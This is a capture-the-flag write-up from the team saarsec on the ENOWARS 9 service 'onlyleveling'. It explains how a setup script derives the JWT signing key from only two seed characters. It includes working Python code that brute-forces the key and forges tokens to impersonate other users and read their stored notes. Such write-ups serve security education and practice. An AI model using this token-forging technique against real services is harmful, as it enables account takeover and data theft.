Saarsec

saarsec

Schwenk and pwn

ENOWARS 9 - onlyleveling

Onlyleveling is a Python-based service, which consists of a backend, a frontend, and a seed generator. The frontend was only responsible for the UI, so we did not bother further. However, looking at the backend, we could see generate_secret.sh, which was called in start.sh. This contains the following code:

SALT=$(date +"%H%M%S")
SEED=$(printf "%s\n" "$SALT" | nc "$HOST" "$PORT" | tr -d '\r\n')
SECRET=$(echo -n "$SEED" | head -c2 | sha256sum | awk '{print $1}')

echo "SECRET_KEY=$(echo "$SECRET" | cut -c1-16)" > .env

What becomes readily obvious is that when starting the service, this is supposed to connect to the seed service (which probably caused another bug, but I didn’t have time to investigate) and use the response for the secret key generation. However, as shown in line 3 of the script, the head -c2 only ever takes the first two chars, which are then passed to sha256sum.

Looking into the code, it became obvious that this SECRET_KEY was used in auth.py to sign the JWT used for authentication. Hence, it was obvious what to do: create an account with a target team, get a valid JWT. Bruteforce through all potential SECRET_KEYS (the seed service appeared to only return digits even) to see if I could validate the JWT locally. If so, I guessed the correct SECRET_KEY. Subsequently, use that SECRET_KEY to issue a JWT for whatever user I wanted to impersonate. Find the Python code below:

def brute_force(token):
    for a, b in itertools.product(string.digits, repeat=2):
        secret = hashlib.sha256((a + b).encode()).hexdigest()[:16]
        try:
            jwt.decode(token, secret, algorithms=["HS256"])
            return secret
        except:
            pass
    return None

def exploit(target):
    flag_ids = get_flag_id("only-leveling", target)
    all_users = set()
    for key, values in flag_ids.items():
        for value in values.values():
            all_users.update(value)

    sess = requests.Session()
    username = randomstring(16)
    password = randomstring(16)
    sess.post(f"http://{target}:2626/register",
              json={"username": username,
                    "password": password})

    resp = sess.post(f"http://{target}:2626/token",
                    data={"username": username,
                          "password": password}).json()
    token = resp["access_token"]

    secret = brute_force(token)

    if not secret:
        return

    decoded_token = jwt.decode(token, secret, algorithms=["HS256"])

    sess = requests.Session()
    sess.headers["Connection"] = "close"


    for username in all_users:
        decoded_token["sub"] = username
        new_token = jwt.encode(decoded_token, secret, algorithm="HS256")
        sess.headers["Authorization"] = f"Bearer {new_token}"
        data = sess.get(f"http://{target}:2626/users/me").json()
        if "items" in data:
            for item in data["items"]:
                print(execute_brainfuck(item["note"]))